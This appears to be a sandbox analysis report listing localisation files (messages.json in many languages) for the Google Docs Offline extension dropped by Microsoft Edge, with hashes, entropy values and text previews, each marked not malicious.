Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
